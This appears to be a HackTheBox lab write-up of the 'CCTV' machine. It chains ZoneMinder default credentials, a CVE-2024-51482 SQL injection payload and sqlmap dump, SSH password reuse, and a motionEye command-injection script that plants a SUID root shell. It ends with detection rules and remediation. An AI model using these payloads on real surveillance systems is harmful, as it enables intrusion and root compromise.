Skip to content
Back to all posts

HTB: CCTV

· 22 min hard Windows CCTV

Default credentials on ZoneMinder, a time-based blind SQL injection to extract bcrypt hashes, SSH password reuse, and a motionEye command injection running as root through a surveillance daemon's notification configuration.

Overview

CCTV is a hard-rated Linux machine running a “SecureVision CCTV & Security Solutions” marketing site on Apache 2.4.58 with ZoneMinder v1.37.63 as the backend surveillance platform and motionEye v0.43.1b4 running as root on localhost. The attack chain spans five findings across two applications and two credential weaknesses.

The engagement begins with default credentials on ZoneMinder (admin:admin), granting full administrative access to the surveillance system. From the authenticated session, CVE-2024-51482 (SQL injection in the tid parameter of the tag removal endpoint) is exploited to extract bcrypt password hashes from the Users table. The hash for user mark cracks to opensesame, and that password is reused for SSH, yielding a shell on the target.

Post-authentication enumeration reveals motionEye v0.43.1b4 running as root on localhost port 8765. The motionEye admin password hash is stored in a world-readable configuration file. With API authentication solved, CVE-2025-60787 (command injection via the command_notifications_exec field) provides arbitrary command execution as root. A SUID bash binary is created, and /tmp/rootbash -p gives euid=0.

Reconnaissance

nmap -sV -sC -A -T4 10.129.244.156
PortServiceProduct / VersionNotes
22SSHOpenSSH 9.6p1 Ubuntu 3ubuntu13.14Ubuntu 24.04 LTS
80HTTPApache 2.4.58 (Ubuntu)SecureVision CCTV site

Two services exposed. The main site is a marketing page with a “Staff Login” button linking to /zm/, which serves ZoneMinder’s web interface.

Directory fuzzing yields no additional endpoints beyond /zm/ and static asset directories. The entire attack surface is ZoneMinder.

After authentication, the API confirms the version:

curl -s -b cookies.txt "http://cctv.htb/zm/api/host/getVersion.json"
# {"version":"1.37.63"}

Internal services (discovered after SSH)

mark@cctv:~$ ss -tlnp
PortServiceNotes
8765motionEye v0.43.1b4Web UI and API; runs as root (systemd)
7999Motion v4.7.1Daemon API; event trigger endpoint
9081MJPEG streamLive camera feed
8554RTSP serverBound to 0.0.0.0 (externally accessible)
1935RTMP serverBound to 0.0.0.0
3306MySQLZoneMinder database

Attack Surface Analysis

ZoneMinder default credentials

ZoneMinder ships with admin:admin as the default credential pair. The deployment on this host did not change it. No account lockout policy exists. The application does not enforce a password change on first login.

curl -s -c cookies.txt \
  "http://cctv.htb/zm/index.php?view=login" \
  -d "username=admin&password=admin&action=login"
# 302 redirect to Console; ZMSESSID cookie set

Full administrative access confirmed: System:View, Events:Edit, Monitors:Create, Groups:Edit, Devices:Edit.

CVE-2024-51482: SQL injection via tag ID parameter

ZoneMinder v1.37.63 is within the affected range for CVE-2024-51482. The tid parameter in the tag removal endpoint is concatenated directly into a SQL DELETE query without parameterisation.

AttributeValue
CVECVE-2024-51482
CVSS 3.19.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
CWECWE-89 (SQL Injection)
TypeTime-based blind (NVD classifies as boolean-based)
PrerequisiteAuthenticated ZoneMinder session

Vulnerability Analysis

The tid parameter at /zm/index.php?view=request&request=event&action=removetag is passed directly into a DELETE query:

DELETE FROM Events_Tags WHERE TagId = <tid_value>

A SLEEP(5) subquery in the tid parameter causes the response to take approximately 5 seconds, confirming injection:

time curl -s -b cookies.txt \
  "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1+AND+(SELECT+1765+FROM+(SELECT(SLEEP(5)))pmdE)"
# Response time: ~5.2 seconds (vs ~0.1s baseline)

Default sqlmap settings (level=1, risk=1) do not detect this injection. The parameter requires level=5 and risk=3 because the injection point uses time-based techniques only.

Exploitation

Phase 1: SQL injection to extract credentials

sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
  --cookie="ZMSESSID=<session>" --batch --dbms=mysql \
  -p tid --level=5 --risk=3 -D zm -T Users -C Username,Password --dump

Three users extracted. Time-based blind extraction is slow: each character takes approximately 8 to 10 seconds. The three bcrypt hashes (60 characters each) take roughly 8 to 10 minutes per hash.

UsernameHash typeCracked?
adminbcryptNot attempted (already authenticated)
markbcryptYes: opensesame
superadminbcryptNo (outside engagement window)

Phase 2: bcrypt cracking and SSH

hashcat mode 3200 handles bcrypt $2y$ hashes. The RTX 3060 achieves approximately 50 H/s at cost 10. The password opensesame appears early in rockyou.txt and cracks within approximately 20 minutes.

sshpass -p 'opensesame' ssh [email protected]
mark@cctv:~$ cat /home/sa_mark/user.txt
# [flag redacted]

The user flag is in /home/sa_mark/user.txt, not in mark’s home directory.

Phase 3: motionEye admin hash from world-readable config

mark@cctv:~$ cat /etc/motioneye/motion.conf | grep admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0

The file /etc/motioneye/motion.conf is world-readable (0644). The SHA-1 hash is functionally equivalent to a credential: motionEye’s API authentication uses the hash directly for HMAC signature computation, so possessing the hash grants full API access without reversing it.

Phase 4: CVE-2025-60787 command injection via motionEye

motionEye v0.43.1b4 allows configuration of the command_notifications_exec field via its REST API. This value is written into the Motion daemon configuration as the on_event_start directive. When a motion event occurs, the Motion daemon executes on_event_start using system(). The critical design flaw: the motionEye systemd service runs with User=root.

The API requires all 115 camera configuration fields in a single request. Partial updates return HTTP 500. I use motionEye’s own compute_signature() function from the installed Python package:

from motioneye.utils import compute_signature
import requests, json

admin_hash = '989c5a8ee87a0e9521ec81a79187d162109282f0'

# Fetch full config, modify two fields, post back
sig = compute_signature('GET', '/config/1/get/', '', admin_hash)
r = requests.get(f'http://127.0.0.1:8765/config/1/get/?_signature={sig}&_username=admin')
config = r.json()

config['command_notifications_enabled'] = True
config['command_notifications_exec'] = 'cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash'

body = json.dumps(config)
sig = compute_signature('POST', '/config/1/set/', body, admin_hash)
requests.post(f'http://127.0.0.1:8765/config/1/set/?_signature={sig}&_username=admin',
  data=body, headers={'Content-Type': 'application/json'})

Trigger the motion event:

wget -qO- "http://127.0.0.1:7999/1/action/eventstart"
# Wait 5 seconds
ls -la /tmp/rootbash
# -rwsr-xr-x 1 root root 1396520 Mar 24 21:44 /tmp/rootbash

/tmp/rootbash -p
# uid=1000(mark) gid=1000(mark) euid=0(root)
cat /root/root.txt
# [flag redacted]

Post-Exploitation

The system is Ubuntu 24.04.2 LTS with a current kernel (6.8.0-51-generic). No kernel exploits were needed. The privilege escalation was entirely through application-layer vulnerabilities: a service running as root with insufficient input validation.

The RTSP (8554) and RTMP (1935) ports are bound to 0.0.0.0, making camera streams accessible to any host on the network without authentication. In a production surveillance deployment, this would allow an attacker to intercept or replace camera feeds.

Defensive Analysis

PhaseMITRE ATT&CKDetection
Initial AccessT1078.001Default credential alert; force password change on first login
CollectionT1213Monitor for SQL keywords in ZoneMinder tag parameters
Credential AccessT1110.002Brute-force detection on bcrypt hash extraction
Lateral MovementT1021.004SSH login correlation with ZoneMinder credential compromise
Credential AccessT1552.001File integrity monitoring on motionEye config files
Privilege EscalationT1068auditd rules on motionEye config directory changes
PersistenceT1548.001SUID binary creation detection in /tmp

Detection for the motionEye command injection: monitor /etc/motioneye/camera-*.conf for changes to the on_event_start directive. An auditd rule on the motionEye config directory would catch any modification:

# /etc/audit/rules.d/motioneye.rules
-w /etc/motioneye/ -p wa -k motioneye_config_change

Remediation

PriorityActionEffortImpact
P0Change ZoneMinder admin password; enforce strong policyLowCritical
P0Upgrade ZoneMinder to >= 1.37.65 (patches CVE-2024-51482)LowCritical
P0Change motionEye systemd service from User=rootLowCritical
P1Restrict /etc/motioneye/motion.conf to 0640 root:motioneyeLowHigh
P1Enforce password complexity; prohibit cross-service reuseMediumHigh
P1Deploy MFA for ZoneMinder and SSHMediumHigh
P2Bind RTSP/RTMP to localhost or add authenticationLowMedium
P2Deploy file integrity monitoring on config directoriesMediumMedium
P3Implement SIEM alerting for SQL injection patternsMediumMedium

Running surveillance software as root is a critical design flaw. The motionEye systemd service explicitly sets User=root, meaning any command injection executes with full system privileges. This is the single most impactful remediation: changing the service to run as an unprivileged account would have prevented the root compromise even if the command injection vulnerability remained unpatched.

Key Takeaways

  1. Default credentials remain the most common initial access vector. ZoneMinder ships with admin:admin and does not enforce a change on first login. The application could prevent this by refusing to serve the console until the default password is changed, as many modern appliances do.

  2. Time-based blind SQL injection requires elevated sqlmap sensitivity. Default detection levels miss many real-world injections. When manual testing shows a measurable delay with SLEEP(), always escalate to level=5 risk=3. If a scanner reports “no vulnerabilities found” on a parameter where you observed suspicious timing, increase sensitivity before moving on.

  3. Use the application’s own libraries for authentication. Manually computing the motionEye HMAC signature failed repeatedly due to subtle formatting differences. Importing the library’s own compute_signature() function from the installed Python package produced correct signatures on the first attempt. When a custom authentication scheme is in use, the source code is the authoritative reference.

  4. Running services as root eliminates all privilege boundaries. The motionEye service could have run as a dedicated unprivileged user with no impact on functionality. The decision to run as root converted a medium- severity command injection into a full system compromise.